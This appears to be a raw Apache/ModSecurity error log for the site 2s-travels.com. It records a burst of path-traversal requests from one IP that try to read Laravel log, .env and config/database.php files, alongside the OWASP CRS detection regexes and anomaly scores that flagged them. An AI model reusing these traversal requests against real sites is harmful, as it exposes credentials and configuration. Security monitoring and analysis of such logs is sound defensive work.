"platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkzsMb3am0TgkjETatAAAAAo"]
[Fri Jul 17 08:55:07.715011 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?log=../../storage/logs/laravel.log&ref=x961pm6azfjkcbzobyehxb1r167t2r5hongmwvhigonydzf-vr-syyzkxpvc6uk0cly-3eeyhj03ngbtndtyjhpatphkvapf5jddw9qcbebdfsyxjqem_tp4a0cylkqryww0vdwzlonp2ajz8sf5c5uoiv1ad-su6487p9kme31ubkljgrnhuk5vgpzwlrvqns7ciqwkyq6jpxyfaezfhh36mtruk2ganwejis0vpdd41g8_7qdh_qsg2ruxkkw6nbzarbhhkm3bnb3wcdj1lti_&ts=eidv2xy4xcfy2m44vsjw2r5cixwiwl4djdogiiwwqkpscwkyyxspx3y6m7ihm2ryis44ygitbituvwqmddf3nxxd2qq7hngw5xjjksje3c23675bxx73ttpuhwrzjekznnzdf6hp52g..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkzsMb3am0TgkjETatAAAAAo"]
[Fri Jul 17 08:55:07.715030 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:log. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:log: ../../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkzsMb3am0TgkjETatAAAAAo"]
[Fri Jul 17 08:55:07.715066 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:log. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:log: ../../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkzsMb3am0TgkjETatAAAAAo"]
[Fri Jul 17 08:55:07.715429 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4l9vhFBGA6D8l95sAAAAAw"]
[Fri Jul 17 08:55:07.715538 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.715786 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgk4l9vhFBGA6D8l95sAAAAAw"]
[Fri Jul 17 08:55:07.716238 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkzsMb3am0TgkjETatAAAAAo"]
[Fri Jul 17 08:55:07.716348 2026] [hostinglimits:warn] [pid 2028246:tid 2028246] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2028246) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.716688 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkzsMb3am0TgkjETatAAAAAo"]
[Fri Jul 17 08:55:07.716737 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:log. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:log: ../.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkw7FYe46zHK_jL3PhgAAABk"]
[Fri Jul 17 08:55:07.716798 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:log. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:log: ../.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkw7FYe46zHK_jL3PhgAAABk"]
[Fri Jul 17 08:55:07.718484 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkw7FYe46zHK_jL3PhgAAABk"]
[Fri Jul 17 08:55:07.718691 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.719147 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkw7FYe46zHK_jL3PhgAAABk"]
[Fri Jul 17 08:55:07.723032 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:log. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:log: ../.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk-1pLmPpy2r_2CxfLAAAAA8"]
[Fri Jul 17 08:55:07.723228 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:log. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:log: ../.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk-1pLmPpy2r_2CxfLAAAAA8"]
[Fri Jul 17 08:55:07.725729 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk-1pLmPpy2r_2CxfLAAAAA8"]
[Fri Jul 17 08:55:07.726013 2026] [hostinglimits:warn] [pid 2030803:tid 2030803] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030803) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.726509 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgk-1pLmPpy2r_2CxfLAAAAA8"]
[Fri Jul 17 08:55:07.726559 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:log. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:log: ../.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgky0HS8lGbZyK8qt29wAAACM"]
[Fri Jul 17 08:55:07.726597 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:log. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:log: ../.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgky0HS8lGbZyK8qt29wAAACM"]
[Fri Jul 17 08:55:07.727732 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgky0HS8lGbZyK8qt29wAAACM"]
[Fri Jul 17 08:55:07.727857 2026] [hostinglimits:warn] [pid 2018770:tid 2018770] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018770) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.728150 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgky0HS8lGbZyK8qt29wAAACM"]
[Fri Jul 17 08:55:07.730900 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:log. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:log: ../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkyvekYYQ8uns4MwlLgAAAA0"]
[Fri Jul 17 08:55:07.730962 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:log. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:log: ../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkyvekYYQ8uns4MwlLgAAAA0"]
[Fri Jul 17 08:55:07.731081 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/database.php" at ARGS:log. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/database.php found within ARGS:log: ../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkyvekYYQ8uns4MwlLgAAAA0"]
[Fri Jul 17 08:55:07.732798 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkyvekYYQ8uns4MwlLgAAAA0"]
[Fri Jul 17 08:55:07.732996 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.733504 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 15, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkyvekYYQ8uns4MwlLgAAAA0"]
[Fri Jul 17 08:55:07.739197 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgjFh1WDijTxd1xw5MHQAAAAc"]
[Fri Jul 17 08:55:07.739537 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?log=..%2F..%2Fconfig%2Fdatabase.php&cb=YEoGQSMhQ_Gbz2wrNj8cDFLC9UNcX2LZbdTjWTLh4GaWoYjQPW1ybC_S8Y_RMlIPtdmFaPH4fystu5ZCrAnOSzExR-dGuegm4MPUASovmoKNi9My0iORyWrRi6VIfAsZjGH7R5WZI9TdOdOP_3c25sJ5vh5_e6Dtxj_3zFLbYdY5iiA5UI8NG6eNHrj7c45MaNsGlvk7quPmyYS_DI589HjsGQsRdH0uZ6Xnar4vl9L4YnZQ0vyje728yTtuRGSsxjMoRbf1nTpN9ZtjWm5X9M7q&ref=L74VUZAB2CEAGIKAQFE4BRW574ECR5DW6KGD3ZOPN3CXZYXIV62WXADFT4OKX2D2LVCNWIUMVZBZJW4RM4AIECJGXDB7LHU6Q2IAPSOVRE6DKJAHJ23AQXBJ2V777GQSH5..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk6quHSHoCJK_V0SBWgAAABs"]
[Fri Jul 17 08:55:07.739596 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:log. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:log: ../../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk6quHSHoCJK_V0SBWgAAABs"]
[Fri Jul 17 08:55:07.739681 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?log=../../config/database.php&cb=YEoGQSMhQ_Gbz2wrNj8cDFLC9UNcX2LZbdTjWTLh4GaWoYjQPW1ybC_S8Y_RMlIPtdmFaPH4fystu5ZCrAnOSzExR-dGuegm4MPUASovmoKNi9My0iORyWrRi6VIfAsZjGH7R5WZI9TdOdOP_3c25sJ5vh5_e6Dtxj_3zFLbYdY5iiA5UI8NG6eNHrj7c45MaNsGlvk7quPmyYS_DI589HjsGQsRdH0uZ6Xnar4vl9L4YnZQ0vyje728yTtuRGSsxjMoRbf1nTpN9ZtjWm5X9M7q&ref=L74VUZAB2CEAGIKAQFE4BRW574ECR5DW6KGD3ZOPN3CXZYXIV62WXADFT4OKX2D2LVCNWIUMVZBZJW4RM4AIECJGXDB7LHU6Q2IAPSOVRE6DKJAHJ23AQXBJ2V777GQSH5AMXTAF76TNMU3K..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk6quHSHoCJK_V0SBWgAAABs"]
[Fri Jul 17 08:55:07.739751 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?log=../../config/database.php&cb=yeogqsmhq_gbz2wrnj8cdflc9uncx2lzbdtjwtlh4gawoyjqpw1ybc_s8y_rmliptdmfaph4fystu5zcranoszexr-dguegm4mpuasovmokni9my0iorywrri6vifaszjgh7r5wzi9tdodop_3c25sj5vh5_e6dtxj_3zflbydy5iia5ui8ng6enhrj7c45mansglvk7qupmyys_di589hjsgqsrdh0uz6xnar4vl9l4ynzq0vyje728ytturgssxjmorbf1ntpn9ztjwm5x9m7q&ref=l74vuzab2ceagikaqfe4brw574ecr5dw6kgd3zopn3cxzyxiv62wxadft4okx2d2lvcnwiumvzbzjw4rm4aiecjgxdb7lhu6q2iapsovre6dkjahj23aqxbj2v777gqsh5amxtaf76tnmu3k..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk6quHSHoCJK_V0SBWgAAABs"]
